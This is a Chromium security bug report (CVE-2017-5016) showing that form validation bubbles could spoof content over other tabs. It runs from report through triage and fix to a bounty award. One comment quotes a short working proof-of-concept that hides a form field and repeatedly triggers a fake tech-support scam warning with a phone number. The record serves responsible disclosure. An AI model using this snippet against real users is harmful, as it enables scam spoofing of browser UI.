New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Closed: Dec 2016
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security



Sign in to add a comment
link

Issue 673163: Security: Form validation bubbles allow spoofing on other tabs

Reported by gnehs...@gmail.com, Dec 11 2016

Issue description

DESCRIPTION:
Content spoofing on any website

VERSION
Chrome Version: Version 55.0.2883.75 (64-bit) stable
Operating System: Ubuntu 16.04.1 LTS

Chrome Version: Version 55.0.2883.75
Operating System: Windows 10

Chrome Version: Version 54.0.2840.85 stable
Operating System: Android 6.0.1 (crash)


POC:

http://192.243.113.21/spoof/chrome/content1.html
 
Screenshot from 2016-12-11 23-39-41.png
66.7 KB View Download

Comment 1 by elawrence@chromium.org, Dec 12 2016

Components: Blink>Forms>Validation
Status: Untriaged (was: Unconfirmed)
Summary: Security: Form validation bubbles allow spoofing on other tabs (was: Security: Content spoofing on any website)
Confirmed in 57.2946. This is a UX bug whereby form field validation bubbles can appear over the wrong tab.

function test(){
aaa = document.getElementById("aaa");
aaa.style.opacity = '0';
aaa.oninvalid = function (e) {
e.target.setCustomValidity("WARNING!\nYOUR COMPUTER MAY BE AT RISK.\nCALL: 800-111-2222");
};
setInterval("document.getElementById('bbb').click()",1000);
}
</script>
<form>
    <input placeholder="aaa" required id="aaa" />
    <input id='bbb' type="submit" name="submit">
</form>

Comment 2 by elawrence@chromium.org, Dec 12 2016

Possibly related to  Issue 516694 .

Comment 3 by wrengr@chromium.org, Dec 12 2016

Cc: tkent@chromium.org
Components: Platform>DevTools>UX
Labels: Security_Severity-High M-54 Security_Impact-Stable OS-All Pri-1
Status: Available (was: Untriaged)

Comment 4 by wrengr@chromium.org, Dec 12 2016

Components: -Platform>DevTools>UX Security>UX

Comment 5 by wrengr@chromium.org, Dec 12 2016

Labels: Team-Security-UX
Correcting the UX tags, so hopefully the Enamel team will see this.

Comment 6 by lgar...@chromium.org, Dec 12 2016

Components: -Security>UX

Comment 7 by wrengr@chromium.org, Dec 12 2016

Per Enamel folks, the Security>UX component is officially deprecated and the Team-Security-UX label should be used instead.

Comment 8 by sheriffbot@chromium.org, Dec 13 2016

Project Member
Labels: -M-54 M-55

Comment 9 by tkent@chromium.org, Dec 14 2016

Owner: tkent@chromium.org
Status: Started (was: Available)

Comment 10 by tkent@chromium.org, Dec 15 2016

Labels: Merge-Request-56 Merge-Request-55
Status: Fixed (was: Started)
Though Bugdroid didn't notify a commit, [1] fixed this issue.

[1] https://crrev.com/a8e17a3031b6ad69c399e5e04dd0084e577097fc

Comment 11 by gov...@chromium.org, Dec 15 2016

Cc: awhalley@chromium.org
+ awhalley@ for merge review.

Comment 12 by gov...@chromium.org, Dec 15 2016

Cc: dimu@chromium.org

Comment 13 by sheriffbot@chromium.org, Dec 15 2016

Project Member
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 14 by dimu@chromium.org, Dec 16 2016

Labels: -Merge-Request-55 Merge-Review-55 Hotlist-Merge-Review
[Automated comment] Request affecting a post-stable build (M55), manual review required.

Comment 15 by dimu@chromium.org, Dec 16 2016

Labels: -Merge-Request-56 Merge-Approved-56 Hotlist-Merge-Approved
Your change meets the bar and is auto-approved for M56 (branch: 2924)

Comment 16 by bugdroid1@chromium.org, Dec 16 2016

Project Member
Labels: -merge-approved-56 merge-merged-2924
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/3839b3cc636bc10b5385a4f618e5b6ccfac4466b

commit 3839b3cc636bc10b5385a4f618e5b6ccfac4466b
Author: Kent Tamura <tkent@chromium.org>
Date: Fri Dec 16 05:56:33 2016

Merge "Form validation: Do not show validation bubble if the page is invisible." to M56 branch

BUG= 673163 

Review-Url: https://codereview.chromium.org/2572813003
Cr-Commit-Position: refs/heads/master@{#438476}
(cherry picked from commit a8e17a3031b6ad69c399e5e04dd0084e577097fc)

Review-Url: https://codereview.chromium.org/2585473004 .
Cr-Commit-Position: refs/branch-heads/2924@{#523}
Cr-Branched-From: 3a87aecc31cd1ffe751dd72c04e5a96a1fc8108a-refs/heads/master@{#433059}

[modify] https://crrev.com/3839b3cc636bc10b5385a4f618e5b6ccfac4466b/third_party/WebKit/Source/core/html/HTMLFormControlElement.cpp

Comment 17 by awhalley@google.com, Dec 16 2016

Labels: -Hotlist-Merge-Review -Hotlist-Merge-Approved -Merge-Review-55 M-56

Comment 18 by awhalley@google.com, Dec 19 2016

Labels: reward-topanel

Comment 19 by mbarbe...@chromium.org, Jan 4 2017

Labels: -Security_Severity-High Security_Severity-Medium

Comment 20 by awhalley@chromium.org, Jan 9 2017

Labels: -reward-topanel reward-unpaid reward-1000

Comment 21 by awhalley@google.com, Jan 10 2017

Many thanks for the report.  The panel decided to reward $1,000 for this bug.  A member of our finance team will reach out shortly.

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an established charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.
*********************************

Comment 22 by awhalley@chromium.org, Jan 10 2017

Labels: -reward-unpaid reward-inprocess

Comment 23 by awhalley@chromium.org, Jan 24 2017

Labels: Release-0-M56

Comment 24 by awhalley@chromium.org, Jan 25 2017

Labels: CVE-2017-5016

Comment 25 by sheriffbot@chromium.org, Mar 23 2017

Project Member
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 26 by awhalley@chromium.org, Apr 25 2018

Labels: CVE_description-submitted

Sign in to add a comment